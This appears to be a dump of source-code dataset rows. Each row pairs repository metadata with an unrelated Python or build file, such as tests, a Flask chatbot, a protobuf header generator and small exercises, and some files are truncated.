expectedOutput = [[3, 1, 2], [3, 1, 3]]
assert len(input0) == len(expectedOutput), '# input0 = {}, # expectedOutput = {}'.format(len(input0), len(expectedOutput))
for ... | 47.384615 | 123 | 0.678571 |
f02131eba31cd7e861b17b8ca2492425721ac6b2 | 1,162 | py | Python | src/test/tests/hybrid/qcrit.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 226 | 2018-12-29T01:13:49.000Z | 2022-03-30T19:16:31.000Z | src/test/tests/hybrid/qcrit.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 5,100 | 2019-01-14T18:19:25.000Z | 2022-03-31T23:08:36.000Z | src/test/tests/hybrid/qcrit.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 84 | 2019-01-24T17:41:50.000Z | 2022-03-10T10:01:46.000Z | # ----------------------------------------------------------------------------
# CLASSES: nightly
#
# Test Case: qcrit.py
#
# Tests:# plots - pseudocolor, contour
# Defect ID: 1829
#
# Programmer: Kevin Griffin
# Date: Thu Jul 31 14:21:02 PDT 2014
#
# Modifications:
#
# ----------------------------... | 21.518519 | 115 | 0.630809 |
651b177fe042966b0ac22436700dc853a985d907 | 6,362 | py | Python | test/test_npu/test_network_ops/test_nllloss2d.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-12-02T03:07:35.000Z | 2021-12-02T03:07:35.000Z | test/test_npu/test_network_ops/test_nllloss2d.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-11-12T07:23:03.000Z | 2021-11-12T08:28:13.000Z | test/test_npu/test_network_ops/test_nllloss2d.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2020, Huawei Technologies.All rights reserved.
#
# Licensed under the BSD 3-Clause License (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://opensource.org/licenses/BSD-3-Clause
#
# Unless required by applicable law... | 35.344444 | 74 | 0.618359 |
652b346339c8c4548ea63657e5f6fd63f73abe02 | 1,974 | py | Python | src/video_transcoding/tests/test_models.py | serzh-unknown/django-video-transcoding | a9048a83ff71e214a215f271d8809f98c1db44b0 | [
"MIT"
] | 21 | 2020-02-07T17:40:16.000Z | 2021-09-02T18:56:21.000Z | src/video_transcoding/tests/test_models.py | serzh-unknown/django-video-transcoding | a9048a83ff71e214a215f271d8809f98c1db44b0 | [
"MIT"
] | 184 | 2020-02-09T10:46:17.000Z | 2022-03-28T00:53:04.000Z | src/video_transcoding/tests/test_models.py | serzh-unknown/django-video-transcoding | a9048a83ff71e214a215f271d8809f98c1db44b0 | [
"MIT"
] | 6 | 2020-02-07T13:58:33.000Z | 2021-07-27T16:24:56.000Z | from unittest import mock
from uuid import uuid4, UUID
from celery.result import AsyncResult
from video_transcoding import models
from video_transcoding.tests.base import BaseTestCase
class VideoModelTestCase(BaseTestCase):
""" Video django model tests."""
def setUp(self):
self.on_commit_patcher = m... | 37.961538 | 78 | 0.663121 |
e8ebf7c20126fcdc26d38361abaaf93cba5c8765 | 293 | py | Python | ciaoutil/__init__.py | luluci/gui_env | 9c2ffe331c2dc8a7e128474ce9590498082de569 | [
"MIT"
] | null | null | null | ciaoutil/__init__.py | luluci/gui_env | 9c2ffe331c2dc8a7e128474ce9590498082de569 | [
"MIT"
] | null | null | null | ciaoutil/__init__.py | luluci/gui_env | 9c2ffe331c2dc8a7e128474ce9590498082de569 | [
"MIT"
] | null | null | null | import logging
from .kazoeciao_config import config as kc_config
from .kazoeciao import kazoeciao as kc
logging.basicConfig(format='%(filename)s(%(lineno)d): %(message)s')
# かぞえチャオ設定管理クラスを作成
kazoeciao_config = kc_config()
# かぞえチャオ実行管理クラスを作成
kazoeciao = kc()
kazoeciao.init(kazoeciao_config)
| 24.416667 | 67 | 0.795222 |
689940a40703073d9fae491123ca27bc92e0a74a | 11,554 | py | Python | proto2h.py | mmoeckel/cdm_protobuf | 126b12e81f7e25035b6aefa620b56b1c2e7808e8 | [
"MIT"
] | null | null | null | proto2h.py | mmoeckel/cdm_protobuf | 126b12e81f7e25035b6aefa620b56b1c2e7808e8 | [
"MIT"
] | null | null | null | proto2h.py | mmoeckel/cdm_protobuf | 126b12e81f7e25035b6aefa620b56b1c2e7808e8 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# This script takes a Protobuf definition file (.proto) and generates two C++
# header files: One containing structs and enums representing the data that is
# held by the protocol buffer, and one containing adapter functions to translate
# between that file and the one gen... | 42.951673 | 163 | 0.546304 |
d79fd61bbc90cf78a621e668454db27ec7680ac9 | 586 | py | Python | ProjectEuler_plus/euler_080.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | ProjectEuler_plus/euler_080.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | ProjectEuler_plus/euler_080.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
from decimal import getcontext, Decimal
from math import sqrt
def is_square(n):
s = sqrt(n)
return s.is_integer()
N = int(input().strip())
P = int(input().strip())
if N > 1000:
if P > 1000:
P = 1000
elif N < 100:
if P > 10000:
P = 10000
getcontext().prec = P ... | 19.533333 | 68 | 0.602389 |
0be23b7b8746ed4cbee32d620278b718d3cf8e04 | 14,879 | py | Python | YYProto_pb2.py | gamegrd/YY | 39fca68d11956508fdbc094c9c319b7a7082722f | [
"Apache-2.0"
] | 9 | 2016-10-17T04:57:47.000Z | 2021-03-08T15:50:03.000Z | YYProto_pb2.py | SkyblueMr/YY | 39fca68d11956508fdbc094c9c319b7a7082722f | [
"Apache-2.0"
] | 1 | 2017-10-13T09:27:34.000Z | 2017-10-13T09:27:34.000Z | YYProto_pb2.py | SkyblueMr/YY | 39fca68d11956508fdbc094c9c319b7a7082722f | [
"Apache-2.0"
] | 6 | 2017-06-07T01:27:42.000Z | 2020-02-10T04:08:51.000Z | # Generated by the protocol buffer compiler. DO NOT EDIT!
from google.protobuf import descriptor
from google.protobuf import message
from google.protobuf import reflection
from google.protobuf import descriptor_pb2
# @@protoc_insertion_point(imports)
DESCRIPTOR = descriptor.FileDescriptor(
name='YYProto.proto',
... | 37.668354 | 1,362 | 0.716513 |
0432569d038014ab71f767533b59b81d67cbaadf | 4,605 | py | Python | AsyncTornado.py | hughbrien/TornadoWeb | ddd78071bd66204ba811cb3577c4c6e9c201e577 | [
"MIT"
] | null | null | null | AsyncTornado.py | hughbrien/TornadoWeb | ddd78071bd66204ba811cb3577c4c6e9c201e577 | [
"MIT"
] | null | null | null | AsyncTornado.py | hughbrien/TornadoWeb | ddd78071bd66204ba811cb3577c4c6e9c201e577 | [
"MIT"
] | null | null | null | from __future__ import print_function
from asyncio import get_event_loop
from aiohttp import ClientSession
from tornado.httpserver import HTTPServer
from tornado.platform.asyncio import AsyncIOMainLoop
from tornado.web import Application
from tornado.web import RequestHandler
import opentracing.ext.tags as ext
import o... | 27.410714 | 98 | 0.738762 |
f0a16ffe1db264cf6fea9af6465b8a6fd024992f | 70 | py | Python | set_add.py | nirobio/puzzles | fda8c84d8eefd93b40594636fb9b7f0fde02b014 | [
"MIT"
] | null | null | null | set_add.py | nirobio/puzzles | fda8c84d8eefd93b40594636fb9b7f0fde02b014 | [
"MIT"
] | null | null | null | set_add.py | nirobio/puzzles | fda8c84d8eefd93b40594636fb9b7f0fde02b014 | [
"MIT"
] | null | null | null | x = set()
[x.add(input()) for _ in range(int(input()))]
print(len(x))
| 17.5 | 45 | 0.585714 |
9be208d571c19fcb34086c0e8d3b462e00ec7e88 | 428 | py | Python | crm/migrations/0003_auto_20210105_1743.py | baniasbaabe/happy-qr | bf44ac19306ea6405cc7c9a100e6f83afca125b4 | [
"MIT"
] | 1 | 2021-01-23T21:42:10.000Z | 2021-01-23T21:42:10.000Z | crm/migrations/0003_auto_20210105_1743.py | baniasbaabe/happy-qr | bf44ac19306ea6405cc7c9a100e6f83afca125b4 | [
"MIT"
] | null | null | null | crm/migrations/0003_auto_20210105_1743.py | baniasbaabe/happy-qr | bf44ac19306ea6405cc7c9a100e6f83afca125b4 | [
"MIT"
] | null | null | null | # Generated by Django 3.1.2 on 2021-01-05 16:43
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('crm', '0002_auto_20201230_1855'),
]
operations = [
migrations.AlterField(
model_name='auftrag',
name='preis',
... | 22.526316 | 96 | 0.61215 |
c5c520ac3ef9a9527d9d5bf42bc2b789655c1285 | 165 | py | Python | 2016/day05_how_about_a_nice_game_of_chess/python/src/common.py | tlake/advent-of-code | 17c729af2af5f1d95ba6ff68771a82ca6d00b05d | [
"MIT"
] | null | null | null | 2016/day05_how_about_a_nice_game_of_chess/python/src/common.py | tlake/advent-of-code | 17c729af2af5f1d95ba6ff68771a82ca6d00b05d | [
"MIT"
] | null | null | null | 2016/day05_how_about_a_nice_game_of_chess/python/src/common.py | tlake/advent-of-code | 17c729af2af5f1d95ba6ff68771a82ca6d00b05d | [
"MIT"
] | null | null | null | """Docstring."""
import io
def get_input():
"""Docstring."""
with io.open("./input.txt") as fh:
puzzle_input = fh.read()
return puzzle_input
| 13.75 | 38 | 0.581818 |
c5d215561e0c67e9c79e8f4d2b8369f05bb8900b | 1,356 | py | Python | Tests/tests/constants_testing.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Tests/tests/constants_testing.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Tests/tests/constants_testing.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | SAMPLE_TESTPLAYBOOK_CONF = [
{
"HelloWorldPremium_Scan-Test": {
"name": "HelloWorld_Scan-Test",
"file_path": "Packs/HelloWorld/TestPlaybooks/playbook-HelloWorld_Scan-Test.yml",
"fromversion": "5.0.0",
"implementing_scripts": [
"DeleteContext"
... | 31.534884 | 98 | 0.491888 |
c5f7ef22ec298e14b25aef85232b967f1a4ea869 | 21,308 | py | Python | frappe-bench/apps/erpnext/erpnext/selling/doctype/sales_order/test_sales_order.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/selling/doctype/sales_order/test_sales_order.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/selling/doctype/sales_order/test_sales_order.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | # Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
# License: GNU General Public License v3. See license.txt
from __future__ import unicode_literals
import frappe
from frappe.utils import flt, add_days
import frappe.permissions
import unittest
from erpnext.selling.doctype.sales_order.sales_order \
im... | 34.760196 | 127 | 0.745964 |
76745d994265433dbb68c42e8feb008c6ddab159 | 24,408 | py | Python | research/3d/DeepLM/lm_solver/solver.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/3d/DeepLM/lm_solver/solver.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/3d/DeepLM/lm_solver/solver.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 35.788856 | 100 | 0.572558 |
7694c1c9e22b916f02a7cdf4cb41dff6dce5786d | 4,516 | py | Python | indl/fileio.py | SachsLab/indl | 531d2e0c2ee765004aedc553af40e258262f86cb | [
"Apache-2.0"
] | 1 | 2021-02-22T01:39:50.000Z | 2021-02-22T01:39:50.000Z | indl/fileio.py | SachsLab/indl | 531d2e0c2ee765004aedc553af40e258262f86cb | [
"Apache-2.0"
] | null | null | null | indl/fileio.py | SachsLab/indl | 531d2e0c2ee765004aedc553af40e258262f86cb | [
"Apache-2.0"
] | null | null | null | __all__ = ['from_neuropype_h5']
def _recurse_get_dict_from_group(grp):
import numpy as np
result = dict(grp.attrs)
for k, v in result.items():
if isinstance(v, np.ndarray) and v.dtype.char == 'S':
result[k] = v.astype('U').astype('O')
for k, v in grp.items():
result[k] = _r... | 47.536842 | 107 | 0.491807 |
4f617a32bbd00e0be74d9eb1aafb74a694b4d49b | 16,536 | py | Python | Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/tools/ava_predict.py | linuxonly801/awesome-DeepLearning | b063757fa130c4d56aea5cce2e592610f1e169f9 | [
"Apache-2.0"
] | 5 | 2022-01-30T07:35:58.000Z | 2022-02-08T05:45:20.000Z | Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/tools/ava_predict.py | linuxonly801/awesome-DeepLearning | b063757fa130c4d56aea5cce2e592610f1e169f9 | [
"Apache-2.0"
] | null | null | null | Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/tools/ava_predict.py | linuxonly801/awesome-DeepLearning | b063757fa130c4d56aea5cce2e592610f1e169f9 | [
"Apache-2.0"
] | 1 | 2022-01-24T16:27:01.000Z | 2022-01-24T16:27:01.000Z | # copyright (c) 2020 PaddlePaddle Authors. All Rights Reserve.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applic... | 32.615385 | 112 | 0.598936 |
8b32cca85ba366a268c25a8bfd5b0d6b3f765ed0 | 4,114 | py | Python | repo/plugin.video.tagesschau/subtitles.py | dbiesecke/dbiesecke.github.io | 5894473591f078fd22d1cb33794c5e656ae9b8dd | [
"MIT"
] | 1 | 2017-11-26T18:18:46.000Z | 2017-11-26T18:18:46.000Z | repo/plugin.video.tagesschau/subtitles.py | dbiesecke/dbiesecke.github.io | 5894473591f078fd22d1cb33794c5e656ae9b8dd | [
"MIT"
] | null | null | null | repo/plugin.video.tagesschau/subtitles.py | dbiesecke/dbiesecke.github.io | 5894473591f078fd22d1cb33794c5e656ae9b8dd | [
"MIT"
] | 3 | 2019-09-30T19:52:05.000Z | 2020-04-12T21:20:56.000Z | # -*- coding: utf-8 -*-
# Copyright 2011 Jörn Schumacher, Henning Saul
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version... | 32.393701 | 129 | 0.604521 |
50d85c6de835654a950ff5d3d56744183b73ee7c | 4,465 | py | Python | gdp1/assignment_4/student_db.py | einekatze/gdp1-homework | 28889dfa1863e1f1dee164e5b465dddb1cfacfcc | [
"MIT"
] | null | null | null | gdp1/assignment_4/student_db.py | einekatze/gdp1-homework | 28889dfa1863e1f1dee164e5b465dddb1cfacfcc | [
"MIT"
] | null | null | null | gdp1/assignment_4/student_db.py | einekatze/gdp1-homework | 28889dfa1863e1f1dee164e5b465dddb1cfacfcc | [
"MIT"
] | null | null | null | from copy import copy
class Students:
"""A database that contains students."""
def __init__(self):
self.db = {}
self.counter = 1
def new(self, name):
"""Adds a new student to the students database. This creates a record of the form {"name": name} and assigns
it a generated ... | 36.300813 | 118 | 0.613438 |
50f78e6bd2c272a4ce8bfeffdf14086a6a21dcc1 | 731 | py | Python | py_projects/gui_calender/chatbot/bot.py | Anwesha-dash811/hacktober-1 | 188c859864f06f94a94cb91e63979366db62b9ac | [
"MIT"
] | 1 | 2020-10-04T12:36:45.000Z | 2020-10-04T12:36:45.000Z | py_projects/gui_calender/chatbot/bot.py | Anwesha-dash811/hacktober-1 | 188c859864f06f94a94cb91e63979366db62b9ac | [
"MIT"
] | 1 | 2021-09-30T16:20:57.000Z | 2021-09-30T16:20:57.000Z | py_projects/gui_calender/chatbot/bot.py | Anwesha-dash811/hacktober-1 | 188c859864f06f94a94cb91e63979366db62b9ac | [
"MIT"
] | 3 | 2020-10-04T09:49:36.000Z | 2020-10-25T15:26:56.000Z | from flask import Flask,render_template,request
from chatterbot import ChatBot
from chatterbot.trainers import ChatterBotCorpusTrainer
app=Flask(__name__)
english_bot=ChatBot("Chatterbot",storage_adapter="chatterbot.storage.SQLStorageAdapter")
trainer=ChatterBotCorpusTrainer(english_bot)
trainer.train("chatterbot... | 34.809524 | 95 | 0.759234 |
2cef332826a6c4554706e48f4d627691c6629bcb | 224 | py | Python | Exercicios/ex09-3c.py | BoltzBit/LP | f84d36d1bdee9a20c197cebec2810234c5311fb8 | [
"MIT"
] | null | null | null | Exercicios/ex09-3c.py | BoltzBit/LP | f84d36d1bdee9a20c197cebec2810234c5311fb8 | [
"MIT"
] | null | null | null | Exercicios/ex09-3c.py | BoltzBit/LP | f84d36d1bdee9a20c197cebec2810234c5311fb8 | [
"MIT"
] | null | null | null | #calculo da area do retangulo
lado1 = float(input('Insira o valor do primeiro lado:'))
lado2 = float(input('Insira o valor do segundo lado: '))
area = lado1*lado2
msg = 'A area do retangulo é {}'
print(msg.format(area))
| 20.363636 | 56 | 0.700893 |
2cf4f2aab6d4802fe2a1c2d2fd489ebdc0be4e5d | 15,164 | py | Python | verto/tests/BlockquoteTest.py | uccser/verto | d36aa88b208f1700fafc033679bd1e9775496d25 | [
"MIT"
] | 4 | 2017-04-10T06:09:54.000Z | 2019-05-04T02:07:40.000Z | verto/tests/BlockquoteTest.py | uccser/verto | d36aa88b208f1700fafc033679bd1e9775496d25 | [
"MIT"
] | 268 | 2017-04-03T20:40:46.000Z | 2022-02-04T20:10:08.000Z | verto/tests/BlockquoteTest.py | uccser/kordac | d36aa88b208f1700fafc033679bd1e9775496d25 | [
"MIT"
] | 1 | 2019-01-07T15:46:31.000Z | 2019-01-07T15:46:31.000Z | import markdown
from unittest.mock import Mock
from verto.VertoExtension import VertoExtension
from verto.processors.BlockquoteBlockProcessor import BlockquoteBlockProcessor
from verto.errors.TagNotMatchedError import TagNotMatchedError
from verto.errors.ArgumentMissingError import ArgumentMissingError
from verto.erro... | 50.546667 | 183 | 0.709312 |
d760ee99f07bce810b8fa5c8e4b1cf9357c0bd6a | 36 | py | Python | test/test_assert.py | cmput401-fall2018/web-app-ci-cd-with-travis-ci-Hreherch | ad3d696abcf70a7baeb5dee6dbd3601efd8448c5 | [
"MIT"
] | null | null | null | test/test_assert.py | cmput401-fall2018/web-app-ci-cd-with-travis-ci-Hreherch | ad3d696abcf70a7baeb5dee6dbd3601efd8448c5 | [
"MIT"
] | 3 | 2020-02-11T23:13:33.000Z | 2021-06-10T20:51:36.000Z | test/test_assert.py | cmput401-fall2018/web-app-ci-cd-with-travis-ci-Hreherch | ad3d696abcf70a7baeb5dee6dbd3601efd8448c5 | [
"MIT"
] | null | null | null |
def testAssert():
assert(True)
| 9 | 17 | 0.638889 |
0f11fdbf33f3a2ec1ce85a5fc7565aca4dc148ca | 17,290 | py | Python | sdd-db/db-api/lambda_function.py | socialdistancingdashboard/virushack | 6ef69d26c5719d0bf257f4594ed2488dd73cdc40 | [
"Apache-2.0"
] | 29 | 2020-03-21T00:47:51.000Z | 2021-07-17T15:50:33.000Z | sdd-db/db-api/lambda_function.py | socialdistancingdashboard/virushack | 6ef69d26c5719d0bf257f4594ed2488dd73cdc40 | [
"Apache-2.0"
] | 7 | 2020-03-21T14:04:26.000Z | 2022-03-02T08:05:40.000Z | sdd-db/db-api/lambda_function.py | socialdistancingdashboard/virushack | 6ef69d26c5719d0bf257f4594ed2488dd73cdc40 | [
"Apache-2.0"
] | 13 | 2020-03-21T01:08:08.000Z | 2020-04-08T17:21:11.000Z |
import json
import pandas as pd
from datetime import datetime, timedelta
import re
import pymysql
from sqlalchemy import create_engine
from sqlalchemy.pool import NullPool
try:
__IPYTHON__
os.chdir(os.path.dirname(__file__))
except: pass
config = json.load(open("credentials-aws-db.json", "r"))
aws_engine = creat... | 35.871369 | 296 | 0.63343 |
cbbaea8b52c05a31f3ca75c878f075feec8793cf | 3,829 | gyp | Python | node_modules/scrypt/binding.gyp | DonaldPeat/ether-campaign | ce3430d468a235d952080313c5bae14f3a895497 | [
"MIT"
] | 86 | 2017-06-01T15:32:01.000Z | 2021-11-08T09:09:44.000Z | node_modules/scrypt/binding.gyp | DonaldPeat/ether-campaign | ce3430d468a235d952080313c5bae14f3a895497 | [
"MIT"
] | 13 | 2020-01-08T22:49:49.000Z | 2021-12-17T21:09:09.000Z | api/node_modules/scrypt/binding.gyp | ivan24400/Anarik | aaf3dd89b8c43193d4597d7cb47ad265d9c01d63 | [
"MIT"
] | 25 | 2020-11-21T13:21:20.000Z | 2022-01-05T02:27:35.000Z | {
'variables': {
'compiler-flags': [],
'scrypt_platform_specific_files': [],
'scrypt_platform_specific_includes': [],
'conditions': [
['OS=="win"', {
'scrypt_platform_specific_files': [
'scrypt/win/mman.c',
'scrypt/win/gettimeofday.c'
],
'scrypt_platfo... | 29.007576 | 66 | 0.533037 |
cbd146cdfa232edbf6b8f3b3fdd42cfc79afc59c | 460 | py | Python | 10.2.py | RonaldZhao/NowCoder | 935af39835a98efc14157e20df1e3458e02b9803 | [
"MIT"
] | null | null | null | 10.2.py | RonaldZhao/NowCoder | 935af39835a98efc14157e20df1e3458e02b9803 | [
"MIT"
] | null | null | null | 10.2.py | RonaldZhao/NowCoder | 935af39835a98efc14157e20df1e3458e02b9803 | [
"MIT"
] | null | null | null | class Championship:
def calc(self, k):
def C(m, n):
f = lambda x, y: x * y
return reduce(f, range(m, m - n, -1)) / reduce(f, range(1, n + 1))
a = 1
for i in range(k * 2 - 1, 0, -2):
a *= i
b = C(k + 1, k - 1) * reduce(lambda x, y: x * y, range(1, ... | 27.058824 | 78 | 0.38913 |
38380bf5017ea1502e74df2fea32a65adc03fe5c | 218 | py | Python | python/data_sutram/scraper/test_3.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 16 | 2018-11-26T08:39:42.000Z | 2019-05-08T10:09:52.000Z | python/data_sutram/scraper/test_3.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | python/data_sutram/scraper/test_3.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 5 | 2020-02-11T16:02:21.000Z | 2021-02-05T07:48:30.000Z | #!/usr/bin/env python
from selenium.webdriver import Firefox
url, filename = 'http://www.stackoverflow.com', '/tmp/stackoverflow.com.png'
browser = Firefox()
browser.get(url)
browser.get_screenshot_as_file(filename) | 24.222222 | 76 | 0.775229 |
aa8bed167233316b67157906c41faac479e43f42 | 1,048 | py | Python | game/gamedata.py | Strange-Penguins/Stython | f4f96383681f311dd0ecceddf15417c78c974830 | [
"MIT"
] | 1 | 2021-03-13T21:50:12.000Z | 2021-03-13T21:50:12.000Z | game/gamedata.py | Strange-Penguins/Stython | f4f96383681f311dd0ecceddf15417c78c974830 | [
"MIT"
] | 4 | 2021-03-13T22:22:11.000Z | 2021-03-14T22:17:49.000Z | game/gamedata.py | Strange-Penguins/Stython | f4f96383681f311dd0ecceddf15417c78c974830 | [
"MIT"
] | null | null | null | import json
class GameData:
def __init__(self):
self.buildings = []
self.max_building_queue_length = 2
self.buildings_list = ["HEADQUARTER", "BARRACKS", "STABLE", "WORKSHOP", "ACADEMY", "SMITHY", "RALLY_POINT",
"STATUE", "MARKET", "TIMBER_CAMP", "CLAY_PIT", ... | 31.757576 | 115 | 0.466603 |
aa9fdaf16a9fc6ad7d043528d0accca1b7a5247d | 1,675 | py | Python | ufmt/core.py | thatch/ufmt | a9129c918dee0861c13b917d0bf144cb66e4f44b | [
"MIT"
] | null | null | null | ufmt/core.py | thatch/ufmt | a9129c918dee0861c13b917d0bf144cb66e4f44b | [
"MIT"
] | null | null | null | ufmt/core.py | thatch/ufmt | a9129c918dee0861c13b917d0bf144cb66e4f44b | [
"MIT"
] | null | null | null | # Copyright 2021 John Reese, Tim Hatch
# Licensed under the MIT license
import logging
from pathlib import Path
from typing import List
from black import decode_bytes, format_file_contents, Mode, NothingChanged
from usort.config import Config
from usort.sorting import usort_string
from usort.util import walk
LOG = l... | 25.378788 | 74 | 0.635821 |
632ef437e72591ce9462924164bf6919ad81f305 | 497 | py | Python | api/live/play.py | easyCZ/SLIP-A-2015 | ad386df9c438d93ec89f68c63d3deda12d27d1ed | [
"MIT"
] | 2 | 2020-06-08T19:17:10.000Z | 2020-06-08T20:45:07.000Z | api/live/play.py | easyCZ/SLIP-A-2015 | ad386df9c438d93ec89f68c63d3deda12d27d1ed | [
"MIT"
] | 14 | 2015-10-07T09:31:50.000Z | 2022-02-23T07:34:10.000Z | api/live/play.py | easyCZ/SLIP-A-2015 | ad386df9c438d93ec89f68c63d3deda12d27d1ed | [
"MIT"
] | null | null | null | from datetime import datetime
import math
import requests
import json
API_URL = 'http://api-ubervest.rhcloud.com'
API_DEVICE_BPM_URL = '%s/devices/%s/bpm' % (API_URL, '%s')
now = int(math.floor(datetime.now().timestamp() * 1000))
print(now)
for i in range(1000):
timestamp = 101 + i
bpm = 60 + (i % 30)
d... | 21.608696 | 62 | 0.629779 |
2d5555dd69d03198eaa993d8df9b2c7dc0cd05fb | 3,777 | py | Python | deprecated/examples/simnet_bow/argument.py | hutuxian/FleetX | 843c7aa33f5a14680becf058a3aaf0327eefafd4 | [
"Apache-2.0"
] | 170 | 2020-08-12T12:07:01.000Z | 2022-03-07T02:38:26.000Z | deprecated/examples/simnet_bow/argument.py | hutuxian/FleetX | 843c7aa33f5a14680becf058a3aaf0327eefafd4 | [
"Apache-2.0"
] | 195 | 2020-08-13T03:22:15.000Z | 2022-03-30T07:40:25.000Z | deprecated/examples/simnet_bow/argument.py | hutuxian/FleetX | 843c7aa33f5a14680becf058a3aaf0327eefafd4 | [
"Apache-2.0"
] | 67 | 2020-08-14T02:07:46.000Z | 2022-03-28T10:05:33.000Z | # Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... | 50.36 | 101 | 0.672227 |
2d6e243e1ea11c78686bf098cd39043d1fbec320 | 1,099 | py | Python | Webpage/web/migrations/0002_auto_20210429_1805.py | ASV-Aachen/Website | bbfc02d71dde67fdf89a4b819b795a73435da7cf | [
"Apache-2.0"
] | null | null | null | Webpage/web/migrations/0002_auto_20210429_1805.py | ASV-Aachen/Website | bbfc02d71dde67fdf89a4b819b795a73435da7cf | [
"Apache-2.0"
] | 46 | 2022-01-08T12:03:24.000Z | 2022-03-30T08:51:05.000Z | Webpage/web/migrations/0002_auto_20210429_1805.py | ASV-Aachen/Website | bbfc02d71dde67fdf89a4b819b795a73435da7cf | [
"Apache-2.0"
] | null | null | null | # Generated by Django 3.1.8 on 2021-04-29 18:05
from django.db import migrations, models
import django_resized.forms
import tinymce.models
class Migration(migrations.Migration):
dependencies = [
('web', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='hea... | 30.527778 | 196 | 0.605096 |
935427051dc0732200c3bc4433be42b5f2792429 | 294 | py | Python | Programming Languages/Python/Theory/100_Python_Challenges/Section_2_String/24. count the number of vowels in string.py | jaswinder9051998/Resources | fd468af37bf24ca57555d153ee64693c018e822e | [
"MIT"
] | 101 | 2021-12-20T11:57:11.000Z | 2022-03-23T09:49:13.000Z | Programming Languages/Python/Theory/100_Python_Challenges/Section_2_String/24. count the number of vowels in string.py | Sid-1164/Resources | 3987dcaeddc8825f9bc79609ff26094282b8ece1 | [
"MIT"
] | 4 | 2022-01-12T11:55:56.000Z | 2022-02-12T04:53:33.000Z | Programming Languages/Python/Theory/100_Python_Challenges/Section_2_String/24. count the number of vowels in string.py | Sid-1164/Resources | 3987dcaeddc8825f9bc79609ff26094282b8ece1 | [
"MIT"
] | 38 | 2022-01-12T11:56:16.000Z | 2022-03-23T10:07:52.000Z | """
Write a function to count the number of vowels in a given string.
input_string = 'dolphin'
expected output = 2
"""
def count_vowels(input_string):
count = 0
for i in input_string:
if i in "aeiou":
count += 1
else:
continue
return count | 18.375 | 65 | 0.598639 |
35a13a9368fcec4e037ea1975766070bee9a5a22 | 703 | py | Python | tsUclnt3.py | kona3266/SocketServer | 2bc9b271c909bba6b6457c709c98e95919f86198 | [
"Apache-2.0"
] | null | null | null | tsUclnt3.py | kona3266/SocketServer | 2bc9b271c909bba6b6457c709c98e95919f86198 | [
